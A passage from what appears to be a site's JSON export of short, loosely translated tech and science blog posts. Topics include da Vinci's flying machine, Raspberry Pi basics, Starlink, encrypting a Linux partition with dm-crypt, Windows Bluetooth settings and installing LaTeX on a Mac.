this vertically capable takeoff device. It was made from wooden poles with cloth stretched into sails. It looked more like a standing boat than a helicopter, but this was a good example of Leonardo da Vinci's understanding of physical mechanisms. He realized the laws of physics centuries before we really knew the laws of the Universe.\n' This is a more special painting than any other work. In it, Leonardo carefully described how he created a paper prototype , '' Giorgione said.\nIt is thought that this device was inspired by the way the maple tree seeds fall; da Vinci thought that with enough rotation, his device would fly into the air. In an attempt to create an unsuccessful flying device, da Vinci inadvertently created the premise for a rotating rotor.\u0026nbsp;\n' He knows it is impossible to make this device - with the current design - spin. His intuition indicated how a rotor would work, but he could not perfect that idea, 'Giorgione said.\nThere is no denying the sublime level of Leonardo da Vinci's mind. By 1966, we still found drawings that humanity did not know, and then we discovered the painting of Salvator Mundi painted by da Vinci in 1500, not knowing if there were still sketches of genius ideas. that his humanity has not.\nPerhaps Leonardo da Vinci had an idea for something that had not yet been invented by modern people.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKKlr52eqbawutJmqqGnp2LBqbGMrKybpJmism61za2cpaSZnLKvr8Rmpp9lnJq8r63RnaZmnJFiw6q6wqI%3D\n","link":"/post/the-inventions-show-the-sublime-intelligence-of-leonardo-da-vinci/","section":"post","tags":null,"title":"The inventions show the sublime intelligence of Leonardo da Vinci"},{"body":"When you own a Galaxy 10.1, users can discover all the features that this machine offers. Here are some tips to help you use them more easily.\nConvert keyboard on Galaxy 10.1 The non-restrictive tablet you have to use a fixed keyboard type that it can easily switch and install. There are keyboards suitable for texting, while others are designed to be professionally edited. Here are ways to help you easily convert these keyboards for each other on smart mobile devices like Galaxy 10.1.\n  The keyboard is default on the Samsung Galaxy 10.1 Tab\nStep 1: Search and install the keyboard we want to use on Android Market. There are many types of keyboards to choose from such as Thumb Keyboard, SwiftKey, Better KeyBoard .\nStep 2: Make sure the keyboard is enabled on your device. Some keyboards will have instructions through the settings to help users activate all applications. But if not, we can also fully test this by taking the following steps:\nStep 3: Open an application that we want to edit the text, select the text input area and you will see a small keyboard icon appear near the lower right corner.\nStep 4: Click on this keyboard icon and select the type of keyboard you want to use. If there is no suitable keyboard type, go to: ' configure input method '.\n  We can choose the type of keyboard we want to use.\nStep 5: Find and select the preferred or suitable keyboard type, please click on the left box. Go back and repeat steps 3 and 4.\nDelete browser history: It's hard to keep our browsing history away from prying eyes while sharing these devices with many people. Maybe we just want to create a little surprise for people we love or even we just don't want others to know our browsing history. If you are trying to delete the web pages we have accessed from Galaxy 10.1's memory, then follow these steps:\nStep 1: Open the Web browser on Samsung Galaxy Tab.\n  Open the web browser on your device.\nStep 2: Click on the menu in the upper right corner, and select Settings .\nStep 3: On the left, select ' Privacy and security ' in the menu.\nStep 4: Select ' Clear history ' in the right column.\n  Select the \"Clear history\" section.\nNote: we can repeat this when we want, but don't overdo it because it can make websites load slower because images or data have to be downloaded again.\nRead Google Books offline on Galaxy 10.1 Google Books for Android, provides a great way to sync our documents on multiple devices or even computers. The real thing we don't pay attention to is that the reading materials we have are only available when we're online. What happens when you can't connect to the internet while traveling or maybe we just want to save battery power by disconnecting from the internet. The better idea is to make sure that the reading material we want to use has been downloaded. Here's how to do it:\n  Search for documents you want to save and use when offline.\nStep 1: Open Google Books app and search for documents that we intend to download when reading offline.\nStep 2: Click and hold on the document title, a small menu will appear.\nStep 3: Select ' Make available offline '\nStep 4: We can also select additional documents to save for later use by selecting the thumbtack icon below the titles of these documents. Once done, press the done button in the lower right corner\n  We can choose all we want\nYou can see the amount of memory left to save the document. We can save everything we want as long as there is enough memory available.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdqsCqusZmnpqkka3GbsDAm2RqaGFivaK%2B02Zo\n","link":"/post/tips-for-using-galaxy-tab-10-1-part-1/","section":"post","tags":null,"title":"Tips for using Galaxy Tab 10.1 (Part 1)"},{"body":"The Raspberry Pi is a very compact, double-sided computer that is about the size of an ATM card and runs the Linux operating system. Raspberry Pi is developed by the Raspberry Pi Foundation - a non-profit organization.\nYou can use the Raspberry Pi as a computer because everything needed has been built in. Its Broadcom BCM2835 SoC processor includes CPU, GPU, RAM, microSD card slot, Wi-Fi, Bluetooth and 4 USB 2.0 ports.\n  With Raspberry Pi, you just need to install the operating system, attach a mouse, keyboard and monitor to be used as a computer. The Raspberry Pi cannot completely replace a desktop or laptop computer, but it is a versatile device that can be used for electronic systems, compute system setup, DIY projects . cheap fee.\nWhat Raspberry Pi models have been released? There have been 4 generations of Raspberry Pi: Pi 1, Pi 2, Pi 3 and Pi 4 (there is usually a Model A and a Model B in most generations). The Model A is a cheaper variant, which tends to cut down on RAM and ports, like USB and Ethernet. The Pi Zero is a sub-version of the first generation (Pi 1), even smaller and cheaper.\n Raspberry Pi models\nRaspberry Pi model (release date) and selling price are as follows:\nPi 1 Model B (2012) - $ 35 Pi 1 Model A (2013) - $ 25 Pi 1 Model B + (2014) - $ 35 Pi 1 Model A + (2014) - $ 20 Pi 2 Model B (2015) - $ 35 Pi Zero (2015) - $ 35 Pi 3 Model B (2016) - $ 35 Pi Zero W (2017) - $ 35 Pi 3 Model B + (2018) - $ 35 Pi 3 Model A + (2019) - $ 25 Pi 4 Model B (2019) - $ 35 The hardware of the Raspberry Pi   The Raspberry Pi comes in two versions, the Model A for $ 25 and the more popular Model B (pictured above) for $ 35.\nModel B includes:\n700MHz SoC with 512MB RAM. 1 HDMI port for digital audio / video output. 1 RCA video port for Analog video output. 02 USB ports. 01 Ethernet LAN port. 01 SD card reader to load the operating system. 01 GPIO interface (General Purpose Input / Output). 3.5mm Stereo Headphone Jack for Analog audio output. Model A has the same components as Model B, but it has only 1 USB port and no Ethernet port. So if you want to connect to the network you must add a USB Wi-Fi or Ethernet Adapter. Also the Model A's 700MHz SoC has only 256MB of RAM.\nIs the Raspberry Pi open source? The Raspberry Pi works in the open source ecosystem: It runs Linux (many types of distributions) and the main supported operating system, Raspbian, is open source and runs an open source suite. The Raspberry Pi Foundation contributes to the Linux kernel and many other open source projects and releases many of its own software in open source form.\nThe schematics of the Raspberry Pi have been released, but the board itself is not open hardware. The Raspberry Pi Foundation relies on income from the sale of the Raspberry Pi to do its charity work.\n  Operating system and software run on Raspberry Pi There are quite a few Linux OS that can run on Raspberry Pi except Ubuntu due to ARMv6 CPU. Some Linux (embedded) Distributions running on Raspberry Pi include Raspbian, Pidora, openSUSE, OpenWRT, OpenELEC,….\n1. Raspbian   This is a Debian-based Linux build with an LXDE interface. If you want to use Raspberry Pi as a PC, Raspbian is a great choice with full web browser, media player, tools, etc .\n2. Raspbmc   Raspbmc is considered to be a Raspbian release that omits LXDE to use XBMC. With Raspberry Pi installed Raspbmc, you can turn a normal TV into a smart TV with Internet access to search and watch 1080p movies directly on TV.\nDownload link: XBMC.\nTo download the operating system for Raspberry Pi, you just need to download Win32DiskImager and flash the image to the SD card.\nWhat can you do with the Raspberry Pi? Some people buy a Raspberry Pi to learn to code and who are already able to code using the Pi to learn how to program electronic devices for physical projects. The Raspberry Pi can open up opportunities for you to create your own home automation projects. This project is popular with people in the open source community because it gives you control, instead of using a proprietary closed system. Check out: 20 awesome apps from the tiny Raspberry Pi computer for more details.\n The Raspberry Pi has a ton of useful applications\nWhy use Pi? Low price. Simple, easy to use, compact enough to take anywhere. Tool to help anyone, including children, learn to code by themselves. Low power consumption: Raspberry Pi has less than 5W of power. Highly applicable: suitable for making portable music players, ebook readers, Wi-Fi pass detectors, handheld game consoles, personal VPNs, devices controlling all electronic devices in the house, control robots, make security cameras . ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJuvsCsp5udoqfGbrzIZpinnF2dvLh5yKxkraCVYr%2Biv8%2BbnKuqqWK9qnnUrJyd\n","link":"/post/what-is-the-raspberry-pi-and-how-is-the-raspberry-pi-used/","section":"post","tags":null,"title":"What is the Raspberry Pi and how is the Raspberry Pi used?"},{"body":"We have been startled by freshwater 'monsters' with human-like teeth such as Pacu fish, Piranha fish . Even snails - the most toothed animals in the world still own the number. Giant teeth up to 15,000 units. So why don't birds own any teeth while they have very hard beaks?\n\nThe reason why hummingbirds never had an accident Decipher the mystery of pig birds, birds signal death Birds have poison, can kill people just by touching the feathers   Canadian scientists will answer your questions.\nAccording to research by experts at the University of Toronto (Canada), the ancestors of modern birds have a hard beak structure and a nut-seed diet. And this is the reason why they survived the extinction disaster at the end of the Cretaceous period.\n  More than 60 million years ago, meteorite disasters hit the Earth, causing climate change, food sources become extremely scarce . leading to the extinction of animals like carnivorous dinosaurs, lizards, including species belonging to the family Maniraptoran (dinosaur family including birds).\nBut birds with beaks but no teeth survived strangely through that great extinction.\n  From data analyzing more than 3,000 fossil teeth samples of 4 groups of the Maniraptoran family, experts believe that the diet is the main factor that helps the ancestors of modern birds survive at that time.\nResearch, experts found that in the White Pollen, modern bird relatives ate nuts. And modern birds all have mines but no teeth. This means that 60 million years ago, the birds had become extinct, only the birds of the tooth thanks to the menu that survived the grain to this day.\nIs this answer surprisingly interesting? This study is published in Current Biology.\nncG1vNJzZmismaXArq3KnmWcp51ks6K4y6KloGWnnsGpedOhnGaqlZbAsLqMsJ%2ByZZKev6W%2FjJ2mp6xdna63sYytnJ6smA%3D%3D\n","link":"/post/falling-with-the-reason-why-birds-don-t-have-teeth/","section":"post","tags":null,"title":"'Falling' with the reason why birds don't have teeth"},{"body":"As Windows grows, whenever a major version is released, some old features will be replaced with new features. If your favorite Windows feature is no longer \"present\" on recent versions, don't worry, the following article will bring 7 old Windows features back to Windows 10.\n1. Windows Media Center You know that Windows Media Player is Microsoft's basic music and video player. Windows Media Center is useful for streaming media from network locations, as well as streaming and recording live TV. Therefore, many people 'mourn' their departure when Windows 10 launches.\n  The good news is that you can bring an unofficial copy of Windows Media Center in Windows 10.\n2. Desktop Gadget Remember the Gadget that you can add to the desktop screen in Windows 7? They provide utilities and fast information like computers or weather reports. Although many users like this utility, Microsoft has given it a \"retirement\" after several years because they have security holes. In addition, with the advent of Windows 8 and modern applications, Live tile has replaced gadgets on computer screens.\n  You can now restore the classic desktop gadgets on Windows 10. However, you need to be aware of security issues. Microsoft recognizes that these gadgets can be easily compromised by an unrighteous and not easy to patch, so they give up support for it.\nInstead, you should try Rainmeter a lot stronger and safer. This free tool provides you with dozens of ways to customize your Windows desktop, including icon packs, animated wallpapers and, of course, gadgets.\n3. File Explorer Library The library was introduced in Windows 7, providing a new way to manage your files. Although they are really useful if you take the time to set up properly, it still confuses users. Therefore, Microsoft hid it in Windows 8.1 and Windows 10. It's still there and you just need to enable it to use it.\nOpen a File Explorer window, then right-click any shortcut on the left. Click on the Show libraries option and you will see the new Libraries title in the left bar. Double clicking on this item will see the Documents , Pictures and similar items. To access them, you can also type shell: Libraries into the navigation bar of any File Explorer window.\n  The library allows you to group multiple folders containing similar files in one location for easy access.\nHow to enable File Explorer new interface on Windows 10 Creators Update 4. Classic Theme Windows 95/98 and Start Menu Although it's quite classic compared to today's standards, many people still have nostalgia for Windows 95. In previous versions of Windows, you can activate a classic theme that looks like Windows 9x days. Whether you use it because you like it or don't want to waste system resources on eye-catching themes, it's no longer on Windows 10.\nTherefore, you can use the theme installation package to restore the retro theme. However, it is not a perfect copy of the original theme, as it relies on High Contrast. First, visit the deviantArt page of kizo2703 and click the Download link on the right to download the classic theme zip file. Save it on your computer, then extract to this folder:\nC: WindowsResourcesEase of Access Themes\nNext, open Settings\u0026gt; Ease of Access\u0026gt; High contrast, which is where Windows stores themes. When you click on the drop down menu, you will see the Classic item you extracted. Select it and click Apply to 'cover' Windows 10 with 'Windows 98 paint'. Note that changing this theme may make Windows look pretty ugly.\n  You can also restore the classic Windows 9x Start menu using Classic Shell. After installation, restore the old Start menu with a column interface and you can also select the Classic Start button to complete the classic interface.\n  How to restore the default theme in Windows 10 5. Play games without ads Do you remember the games built into Windows like Minesweeper, Windows XP Pinball .? You may have been sad to realize that these games are not available in Windows 10. Microsoft still has Solitaire in Windows 10 and Minesweeper on the Windows Store but they have a lot of ads, unless you have to pay a fee. be annoyed when playing games.\n  However, there is a way to help you play these Windows games without ads and at no cost. You just need to search for 'Solitaire' on Google to play solitaire right on the Google search results page. For Minesweeper you can access the MinesweeperForFree website to play without ads.\n6. Aero theme throughout Microsoft has introduced a taskbar and a transparent title bar in Windows Vista and Windows 7 called Aero and it has been popular thanks to pure aesthetics. However, since Windows 8, Aero has disappeared and replaced with simple color bars again.\nWith just a few tips, you can restore the transparent Aero theme on Windows 10.\n7. Group Policy Editor in Windows Home This is not a recent feature, it did not appear in many Windows versions. Group Policy is a feature of Windows Professional and earlier versions that allow system administrators to restrict certain features and change settings for multiple machines at the same time. That's why Group Policy Editor is not included in the Home 10 Windows Home revision and most common users don't need to use it.\nHowever, Group Policy has many benefits, even for ordinary users. For example, you can use it to lock Windows for child accounts. You can refer to the article Setting up Group Plolicy on Windows 10.\n8 \"tweak\" Windows Group Policy any Admin should know Microsoft Paint! Recently, Microsoft released a list of features that will not be available in windows updates this fall. The classic Microsoft Paint is on that list, leading to inaccurate information saying that Microsoft Paint is 'dead'. In fact not so, Paint will no longer receive updates and it will probably die in the future but not now.\nTherefore, for a period of time, you will still be able to type mspaint into the Start menu to open your favorite drawing application. In addition, Microsoft will release a Paint in Windows Store application to ensure that it will be available in the next few years.\nncG1vNJzZmismaXArq3KnmWcp51kr7O1zaBkcGWfobFuw8inm6ivo2Kzpq3Trqmeq12XrqS3jK2mZq%2BZo7Gww9JmaGk%3D\n","link":"/post/bring-7-old-windows-features-back-to-windows-10/","section":"post","tags":null,"title":"Bring 7 old Windows features back to Windows 10"},{"body":"Starlink is a global high-speed wireless Internet network project of nearly 12,000 extraterrestrial satellites (more than 6 times the number of outer space spacecraft) by Elon Musk, SpaceX's CEO. Starlink is expected to help the network connection on Earth increase by 50% compared to the current optical cable system, but that will make the current global Internet economy affected.\n  SpaceX will launch the first 60 satellites into space 440 km from Earth, in the same phase as the Falcon 9. Each satellite weighs about 227kg.\n  Elon Musk said that \"small\" Internet coverage will need about 400 satellites, with a 'moderate' wide area of ​​800 satellites needed. The first phase, SpaceX will deploy 1,600 satellites in orbit. 440km high.\n  Currently, our data is transmitted through the light of the fiber optic cable, but in remote areas the signal is jittery. In addition, the cost for fiber optic cables is quite expensive.\n  Compared to conventional fiber optic cable, light travels through space vacuum to 47% faster. Therefore, this space Internet system promises to help solve the major problems of Internet infrastructure today on Earth.\n  The use of a browser or watching TV is not much affected by the limitations of the current Internet transmission system, but with these weaknesses are evident when conducting long-distance video conferencing or voice calls. website.\n  The financial sector is one of the areas most affected by the latency of the Internet. For transfer markets with billions of dollars in a second, those with faster network connections will prevail. Any delay makes businesses pay dearly.\n  In February 2018, SpaceX successfully tested the first two Starlink satellites Tintin-A and Tintin-B on low-floor orbit. These two satellites are connected to the ground station.\n  In order to be able to overlay the Internet on the entire surface of the Earth at a speed close to that of light, what fiber optic transmission cannot be achieved, each Starlink satellite will connect with four other satellites via a laser. This special way of operation of Starlink satellites has not appeared before.\nncG1vNJzZmismaXArq3KnmWcp51ksq27zWakrqubqHqouM6bmKVlp56%2FprjErKpmoZ6psrO6xK1kp52krLyzt4ywoKWkXaC2rbiMn6CbnaJivLHAyJxknJmSobK0\n","link":"/post/elon-musk-s-global-wireless-internet-network-will-kill-fiber-optic-cables/","section":"post","tags":null,"title":"Elon Musk's global wireless Internet network will kill fiber optic cables"},{"body":"Instructions on how to enable and use Google Docs Offline - A feature that allows opening and editing Google Docs documents when not connected to the Internet on a Chromebook.\nPerhaps no replacement software for Microsoft Word is worth testing if it does not support editing documents offline. Luckily for Chromebook users, Google Drive has allowed users to edit documents even when disconnected from the Internet . Whether you have a network connection or not, you can still edit document files, then sync documents to the cloud when you are connected again.\nActivation steps: Step 1: Log in to Google Docs in your browser or open Google Drive from the App Menu if installed.\n  Step 2: Select 'More' from the menu on the left.\n  Step 3: Select ' Offline'\n  Step 4: Click the \"Enable Offline\" button. (Note: If you have the application installed offline, you can skip steps 5 through 8).\n  Step 5: Click the ' Get the App ' button to download the Google Docs Chrome app.\n  Step 6: Select the ' Add to Chrome ' button from the top right corner.\n  Step 7: Select the ' Add' button in the dialog box that appears to confirm the download.\n  The Google Drive application will appear in the App Menu.\n  Step 8: Go back to the Google Docs control panel, or click \" Launch App \" or select Google Drive from the App Menu.\n  Using After installation, when not connected to the Internet, you can open and edit Google Docs documents. A message ' All changes saved offline' will appear above.\n  When you connect to the Internet again, you will see a yellow dialog box above that prompts you to switch to online mode.\n  Click on ' Switch to Docs Online ' and your document will be updated with the changes you have made when you are offline.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZKCnn5y5pnnDqJqsZZ%2Bbs621zZ5kqKZdlnqktNGopJ6an6S4\n","link":"/post/how-to-activate-google-docs-offline-on-a-chromebook/","section":"post","tags":null,"title":"How to activate Google Docs Offline on a Chromebook"},{"body":"On Coc Coc browser, by default the homepage interface will not install the wallpaper, but instead use a simple white interface. And sometimes you get bored with that white interface when accessing Coc Coc. Very simply, we can change the interface for Coc Coc browser with a unique background image, the quality provided by the browser. Users just need to select the wallpaper they like and set up for Coc Coc browser. The operation to change the wallpaper on Coc Coc browser will be in the article below.\nStep 1: At the interface on the browser, click on the Coc Coc logo in the top left corner of the interface, then click on Install in the drop down list.\n  Step 2: In the list of browser settings on the left of the screen interface, click on View setting .\n  Look at the content on the right in the Appearance section at the top of the interface, click the Download topic button .\n  Step 3: We will then be redirected to the Chrome Web Store interface. There are many browser wallpaper themes for you to choose and install. Most of them allow free downloads.\n  Step 4: The store will provide themes designed by Google or others. You can localize the topic when clicking on the Category section to appear the list and select the topic.\n  Now click on the theme of the wallpaper you want to install for Coc Coc, then click on the Add to Chrome button.\n  Step 5: Wait for the installation of the wallpaper for Coc Coc browser to complete and so the interface has been changed to the wallpaper you have already selected. In case the user does not want to use this wallpaper, click Undo to delete immediately.\n  In case you do not want to install wallpaper on Coc Coc browser, go to Settings and go to View. In the Appearance section, click Reset to default theme .\n  Similar to Google Chrome browser, Coc Coc provides users with extremely familiar browser settings, including changing the wallpaper interface on Coc Coc. Warehouse wallpaper with various rich themes, so you can choose and change whenever you want.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYycppxlk6Swbq7RqK6snaJixKK4y6mYqZ2i\n","link":"/post/how-to-change-coc-coc-browser-wallpaper/","section":"post","tags":null,"title":"How to change Coc Coc browser wallpaper"},{"body":"Hard drives and SSDs can be easily removed from a laptop or desktop computer. At this point, all security measures implemented by your operating system will have no more thoughts. If you have data to protect, you can create encrypted containers. You will store sensitive files there, the remaining files are saved on normal partitions.\nThe easiest is to set up an encrypted partition when you install the Linux distribution. The installer can guide you to do that. If you've skipped this stage, follow the steps in the following guide to create a secret secret partition.\nHow to encrypt partitions on Linux with dm-crypt Prerequisites Install cryptsetup Find the Block Device Name of the partition Set the title LUKS Create a file system on the partition Mount encrypted partitions Prerequisites You need an empty partition for this process. This means an unformatted partition (no file system on it).\nIf your formatted partition currently occupies all of the free space on the storage device, you will need to use GParted to shrink one of them.\nWarning : You should back up your data first. When shrinking its partition and file system, there are certain risks. The computer may be faulty or lose power during processing, making the file system inconsistent and difficult to recover.\nFollow the first steps in this tutorial to resize the partition using GParted. Or, if there is an unnecessary partition, you can delete it. (After you release some space and they show an \"unallocated\" status , skip the remaining steps in the tutorial). Specifically, do not create a partition named ext4. Instead, right-click on the unallocated space, as shown in the guide. In the dialog window that opens, you will see a field labeled 'File system'. Normally, ext4 will be selected as the default here. Click it and change it to \"clear\".\n  \nAfter you select 'Add', click on the green check mark to apply the changes.\nInstall cryptsetup If you booted the operating system directly to edit your partition using GParted, reboot into the main Linux distribution.\nOpen the terminal emulator. On Debian-based systems, such as Ubuntu or Linux Mint, enter this command:\nsudo apt update \u0026amp;\u0026amp; sudo apt install cryptsetup    On distributions like Fedora or CentOS and other versions using RPM instead of DEB, you can install cryptsetup. If not, you can install it with:\nsudo yum install cryptsetup  On OpenSUSE, if cryptsetup is not preinstalled, you can install it with:\nsudo zypper refresh \u0026amp;\u0026amp; sudo zypper install cryptsetup  And on Arch-based distributions, you will use this command:\nsudo pacman -S cryptsetup  Find the Block Device Name of the partition Enter the following command:\nlsblk    In the example provided in the picture, the storage device is 'vda'. 'vda1' to 'vda3' are partitions.\nTo find the partition you have prepared, remember the size you have preserved for it. You will find it among partitions that do not have mount points. In your case, this could be '/ dev / sda2' instead of '/ dev / sda3'.\nPartition encryption will overwrite the data on it (if any), meaning that if you get the device name wrong, you may cancel the data useful. To ensure you have the correct device name, you can install GParted and review your partition layout. Device name will be listed in the graphical user interface. Do not use the name you saw in GParted when you boot from the system directly (if you did it). The layout displayed in the live system will be different from the layout you see when booting from the installed distribution.\nThere is another way to make sure you don't write on the wrong device. Try mount it. Normally, it will refuse to do so because there is no file system on it.\nImportant note : Remember to always replace \"vda3\" with your device name:\nsudo mount /dev/vda3 /mnt  In your case, the command could be sudo mount / dev / sda2 / mnt or something else.\nThis is the message you will receive.\n  Set the title LUKS When you are sure you have the appropriate device name, add the LUKS header to the partition.\nsudo cryptsetup luksFormat /dev/vda3  Enter 'YES' and then create a strong password for the encrypted partition. Re-enter the same password when asked to verify the passphrase.\nCreate a file system on the partition You must map this physical device to the virtual device. What is written to the virtual device will be encrypted before being stored on the physical device.\nsudo cryptsetup luksOpen /dev/vda3 encrypted-partition  The partition needs a file system that can be used. Create an ext4 file system with this command:\nsudo mkfs.ext4 /dev/mapper/encrypted-partition    Mount encrypted partitions Create a folder where you will mount the file system from the partition.\nmkdir ~/encrypted-storage  Mount the file system:\nsudo mount /dev/mapper/encrypted-partition ~/encrypted-storage  Change that directory:\ncd ~/encrypted-storage  Currently, only root users can write here. Allow your users to record in this file system by placing them as owners of higher level folders. Copy and paste the entire command, including \" . \" At the end.\nsudo chown $USER:$USER .  Restrict other users from reading or writing to this directory.\nchmod o=.  At this point, most file managers will show you the new encrypted device on the interface. The following figure shows how it looks in file manager Thunar, the default is used in the XFCE desktop environment.\n  If the drive is not mounted, when you click on it, you will be asked for the sudo drive password and password. The drive will be automatically mounted and you can browse it. The mount point will be different from '~ / encrypted-storage'. It may look like this: '/ media / user / f42f3025-755d-4a71-95e0-37eaeb761730 /'.\nThat does not matter. The rights you previously set still apply. It is important to remember to right click on it and disconnect when you successfully complete all tasks with the drive. Unmounting and closing the virtual device ensures that no one can read data from the encrypted partition, even from your operating system.\nIf for some reason, your manager file does not support this feature, you can mount it from the terminal:\nsudo cryptsetup luksOpen /dev/vda3 encrypted-partition  sudo mount /dev/mapper/encrypted-partition ~/encrypted-storage  You can now access the drive by going to \"/ home / username / encrypted-storage\" in the file manager. When you're done, remove the file system mount and close the virtual device:\ncd \u0026amp;\u0026amp; sudo umount /dev/mapper/encrypted-partition sudo cryptsetup luksClose /dev/mapper/encrypted-partition  Now your important files are safe. Knowing that no one can see what you store in your computer will make you much more secure. Good luck!\nSee more:\nHow to encrypt LVM partitions when installing Kali Linux Select the Scheme partition in Linux How to hide the entire file system ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2emL%2B6vNNmp5qqpJ7BqrvNrGSopl2htq%2FB12auoqyYYrGur9Gyp60%3D\n","link":"/post/how-to-encrypt-partitions-on-linux-with-dm-crypt/","section":"post","tags":null,"title":"How to encrypt partitions on Linux with dm-crypt"},{"body":"Establishing a Metered Connection (Windows has limited data connection) in Windows 10 is necessary for many users. Whether you have limited Internet or just want more control over Windows updates, Metered Connection is a useful feature.\nAt the very least, Metered Connection is useful until you connect a Bluetooth headset, keyboard or other device and encounter a Bluetooth Metered Connection error. The problem is not your device but the connection. Thankfully, the error is easy to fix.\nWhy does the error occur? The Bluetooth Metered Connection error occurs because Windows 10 tries to automatically download the latest device and driver updates every time you connect a Bluetooth device. This makes setting up a device easier than finding drivers manually, if you need them.\nThe problem is, if you have a Metered Connection, Windows won't download anything. Because nothing could be downloaded, Windows issued an error message: 'Setup incomplete because of a metered connection' .\n If you turn off Metered Connection, you may forget to turn it back on. This leaves the Windows updates free to install, whether you like it or not. However, there is an easy workaround.\nSome devices, such as keyboards and mice, still work even if you get this error. If everything else works well, you don't need to change anything. However, you can still get the latest device driver using the method in the next section.\nAllow Bluetooth downloads The simplest fix is ​​to allow the Bluetooth device driver to download even with Metered Connection. These are usually small files that won't affect your data plan. If you're worried, check with your device manufacturer to see how much the driver files are.\nGo to Settings\u0026gt; Devices .\nBluetooth must be the default tab open, but if not, select Bluetooth \u0026amp; other devices on the left. Scroll down to the right until you see Download over metered connections . Check the box to allow downloading via Metered Connection.\n Your device (s) will start pairing. If a compatible driver is available on the system, pairing will take place almost immediately. If Windows 10 needs to download a driver, your device will pair as soon as the download is complete and the driver is installed.\nConsiderations after pairing This is where things get a little tough. The Bluetooth Metered Connection error disappears after the device is successfully paired. That is the good news. However, if you deselect the download via the Metered Connection settings, the error will reappear the next time you pair the device.\nDepending on the device, Windows may allow it to pair, even without enabling the download setting above. For example, the author of the article can connect Logitech mouse and keyboard each time without problems. However, I cannot pair the Philips speaker without selecting the download box above. For more than a year, Windows didn't download anything for these speakers, but Windows still wants to check for updates all the time.\nIf you do not want this setting to be enabled, create a shortcut to the Bluetooth settings on the desktop. Uniform Resource Identifiers allow you to create shortcuts for many Windows installations.\nFor Bluetooth, right-click an empty area on the desktop and select New\u0026gt; Shortcut .\nCopy and paste the following into the shortcut location box - ms-settings: bluetooth.\n Click Next and name the shortcut. Then, click on the desktop shortcut to quickly switch to Bluetooth settings and enable or disable the download option.\nThe error continues If you continue to experience Bluetooth Metered Connection error, you may need to completely turn off Metered Connection until the device is paired. This rarely happens, but some users experience problems with some devices.\nWhen you turn off Metered Connection, give your device a few minutes to pair successfully. If you are afraid of updates trying to install, suspend Windows updates to temporarily 'freeze' them. The default is 7 days. This setting is located in Settings\u0026gt; Update \u0026amp; Security\u0026gt; Windows Update . Scroll down until you see Pause updates for 7 days . Select this option to prevent updates.\n Just remember to reset the connection to Metered after the device is paired. In most cases, your device will continue to pair after this initial setup, although you may need to allow downloading via Metered Connection in Bluetooth settings.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjuNSeq6inpJ16rrHTnqmenF2YvK%2B6xJyroqeeYrKzvs6rZKimXay2r7DOsKpmaWA%3D\n","link":"/post/how-to-fix-bluetooth-metered-connection-error-on-windows-10/","section":"post","tags":null,"title":"How to fix Bluetooth Metered Connection error on Windows 10"},{"body":" LaTeX Fonts are high quality members of a family of fonts referred to as 'Computer Modern.' These fonts allow the author greater control and precision when typing mathematical and technical documents. Installing LaTeX is great for teachers...\nMethod 1of 2:\nInstalling LaTeX  Go to a LaTeX installer. By far, the best and most recommended of these installers is http://www.tug.org/mactex/. From here, you will be able to download MacTeX by clicking on the link entitled \"MacTeX download.\" You also have the option of downloading BasicTeX, which is a slightly less detailed version but the downloading and installation will be the same as MacTeX.\n  Select \"MacTeX.PKG.\" Clicking this link will automatically begin the download process. This may take a few minutes to complete. Once it has fully downloaded, the file will appear on your desktop.[1]\n  Double-click the icon. This will install the application and you will be walked through the initial setup phase. Follow the steps provided by the Installation Wizard by clicking \"Next.\" You may need your user account password.\n  Go to the application. You can do this by going to \"Applications\" and then selecting \"Tex.\" Before continuing on, open the file entitled \"READ ME FIRST\" and familiarize yourself with the application.\n Method 2of 2:\nUsing LaTeX: The Basics  Open \"TeXShop.app.\" You can do this by finding \"TeX\" under \"Applications.\" Double-click on \"Tex\" and then select \"TeXShop.app.\"\n  Enter the document class. In order to begin working on your document, you will need to specify a few things in order for LaTeX to understand and format the document. The first of these specifications is the document class. This should look something like this documentclass[12pt]{article}. This specifies a document with 12 point font and an article format, which is the most basic setup.\n  Specify the beginning and end. LaTeX will also need you to specify the beginning and end or your document and you can do this by entering a simple line of code. At the beginning of your document and under the document class, enter begin{document}. At the end of your document, enter end{document}.\n  Enter \"%\" to input a command. In order to input commands, like a paragraph break, you can enter the \"%\" sign followed by your command. For instance, enter \"% New Paragraph\" as the first line of your new paragraph. This spacing will appear when you go to create your document.\n  Use packages to create margins. In order to create perfect margins you can use things called \"packages.\" These act similarly to the commands we used earlier to specify beginning and ends of documents. To input a package, enter the following command: usepackage{example package}. For example, if you wish to have 1-inch margins on your document, you would enter usepackage{fullpage}. You would enter this command in the line following your document class specifications.\n  Specify your line spacing. In order to specify your line spacing, enter the following command: examplespacing on the line above where you wish the spacing to being. For example, if you would like your document to be double spaced, you would enter the command doublespacing above the section you wish to be double spaced. The document will continue to be formatted with that spacing until you override it with another spacing command.\n  Write in bolds or italics. To type in bold, enter the command textbf{example text} and to type in italics, enter the command emph{example text}. For example, if you would like to write \"Lemon\" in bold, you would enter textbf{Lemon}.\n  Create your document. Within the perimeters you specified, create your document!\n  Jessica Tanner Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmo5qsla16p7vNrapmp55iuqKvjKiqZrA%3D\n","link":"/post/how-to-install-latex-fonts-on-mac-os-x/","section":"post","tags":null,"title":"How to Install LaTeX Fonts on Mac OS X"},{"body":" The Acer Aspire One is a small Windows notebook designed for users who primarily browse the Internet. When your Aspire One starts lagging or running slowly, speed its performance and efficiency by disabling unneeded features, installing...\nPart 1of 9:\nDisabling Startup Applications  Click the Start menu and type 'system configuration' into the search box.\n  Select 'System Configuration' from search results.\n  Click on the 'Startup' tab, then remove checkmarks next to processes you don't want running after startup. This prevents applications you don't use from automatically running in the background after your computer starts up, leading to slowness and lagging.\n  Click 'OK.' Going forward, these processes will no longer run automatically following startup.[1]\n Part 2of 9:\nDisabling Performance Options  Click the Start menu and type 'system' into the search box.\n  Select 'System' from search results, then click on 'Advanced system settings.'\n  Click on the 'Advanced' tab, then click 'Settings' under Performance. These options control visual effects and performance features, some 